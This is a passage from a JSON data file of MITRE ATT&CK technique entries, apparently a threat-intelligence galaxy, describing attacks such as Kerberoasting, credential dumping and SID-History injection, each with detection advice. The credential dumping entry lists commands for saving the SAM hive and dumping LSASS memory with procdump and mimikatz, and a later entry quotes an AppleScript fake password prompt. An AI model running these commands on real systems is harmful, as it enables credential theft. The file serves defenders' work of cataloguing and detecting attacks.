(Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)\n\nDetection: Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nPlatforms: Windows\n\nData Sources: Windows event logs\n\nPermissions Required: User\n\nSystem Requirements: Valid domain account or the ability to sniff traffic within a domain.\n\nContributors: Praetorian", + "value": "Kerberoasting - T1208", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1208", + "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", + "https://msdn.microsoft.com/library/ms677949.aspx", + "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx", + "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/", + "https://github.com/EmpireProject/Empire/blob/master/data/module%20source/credentials/Invoke-Kerberoast.ps1", + "https://adsecurity.org/?p=2293" + ], + "external_id": "T1208", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0" + }, + { + "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes", + "value": "Multi-hop Proxy - T1188", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1188" + ], + "external_id": "T1188", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM", + "value": "Hypervisor - T1062", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1062", + "https://en.wikipedia.org/wiki/Hypervisor", + "http://en.wikipedia.org/wiki/Xen", + "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf", + "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html" + ], + "external_id": "T1062", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "System calls" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63" + }, + { + "description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform\u00a0Lateral Movement\u00a0and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n===SAM (Security Accounts Manager)===\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the \u2018net user\u2019 command. To enumerate the SAM database, system level access is required.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n===Cached Credentials===\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n===Local Security Authority (LSA) Secrets===\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n\u00a0\nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are\u00a0UTF-16\u00a0encoded, which means that they are returned in\u00a0plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n===NTDS from Domain Controller===\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\u00a0\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n===Group Policy Preference (GPP) Files===\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n\u00a0\nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n\u00a0\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\u00a0\n* Metasploit\u2019s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\u00a0\nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s *.xml\n\n===Service Principle Names (SPNs)===\n\nSee Kerberoasting.\n\n===Plaintext Credentials===\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the\u00a0Local Security Authority Subsystem Service\u00a0(LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n\u00a0\nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs):\u00a0A Security Support Provider is a\u00a0dynamic-link library\u00a0(DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n\u00a0\nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP: \u00a0Provides SSO and\u00a0Network Level Authentication\u00a0for\u00a0Remote Desktop Services. (Citation: Microsoft CredSSP)\n\u00a0\nThe following tools can be used to enumerate credentials:\n\u00a0\n* Windows Credential Editor\n* Mimikatz\n\u00a0\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\u00a0\nFor example, on the target host use procdump:\n* procdump -ma lsass.exe lsass_dump\n\u00a0\nLocally, mimikatz can be run:\n* sekurlsa::Minidump\u00a0lsassdump.dmp\n* sekurlsa::logonPasswords\n\n===DCSync=== \n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs", + "value": "Credential Dumping - T1003", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1003", + "https://github.com/mattifestation/PowerSploit", + "https://adsecurity.org/?p=1729", + "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", + "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump", + "https://msdn.microsoft.com/library/cc228086.aspx", + "https://msdn.microsoft.com/library/dd207691.aspx", + "https://wiki.samba.org/index.php/DRSUAPI", + "https://source.winehq.org/WineAPI/samlib.html", + "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", + "https://msdn.microsoft.com/library/cc237008.aspx", + "https://msdn.microsoft.com/library/cc245496.aspx", + "https://github.com/Neohapsis/creddump7", + "https://en.wikipedia.org/wiki/Active%20Directory", + "https://msdn.microsoft.com/library/cc422924.aspx", + "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", + "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html", + "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)" + ], + "external_id": "T1003", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "API monitoring", + "Process command-line parameters", + "Process monitoring", + "PowerShell logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward, Red Canary", + "value": "Deobfuscate/Decode Files or Information - T1140", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1140", + "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/", + "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + ], + "external_id": "T1140", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)\n\nDetection: Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, File monitoring, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Scott Lundgren, @5twenty9, Carbon Black", + "value": "Time Providers - T1209", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1209", + "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top", + "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", + "https://github.com/scottlundgren/w32time", + "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ], + "external_id": "T1209", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "File monitoring", + "Loaded DLLs", + "Process Monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87" + }, + { + "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User", + "value": "HISTCONTROL - T1148", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1148" + ], + "external_id": "T1148", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process Monitoring", + "Authentication logs", + "File monitoring", + "Environment variable" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "086952c4-5b90-4185-b573-02bad8e11953" + }, + { + "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.\n\nDetection: Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Windows event logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux", + "value": "SID-History Injection - T1178", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1178", + "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", + "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", + "https://technet.microsoft.com/library/ee617241.aspx", + "https://adsecurity.org/?p=1772", + "https://msdn.microsoft.com/library/ms677982.aspx" + ], + "external_id": "T1178", + "kill_chain": [ + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d" + }, + { + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection\n\nDefense Bypassed: Binary Analysis, Log analysis, Firewall\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Anastasios Pingios", + "value": "Web Service - T1102", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1102", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1102", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control", + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "Query Registry - T1012", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1012", + "https://en.wikipedia.org/wiki/Windows%20Registry" + ], + "external_id": "T1012", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes", + "value": "Third-party Software - T1072", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1072" + ], + "external_id": "T1072", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution", + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Binary file metadata", + "File monitoring", + "Process monitoring", + "Process use of network", + "Third-party application logs", + "Windows Registry" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes", + "value": "Remote File Copy - T1105", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1105", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1105", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control", + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Process use of network", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator", + "value": "File System Logical Offsets - T1006", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1006", + "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin", + "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1" + ], + "external_id": "T1006", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5" + }, + { + "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\nset thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware 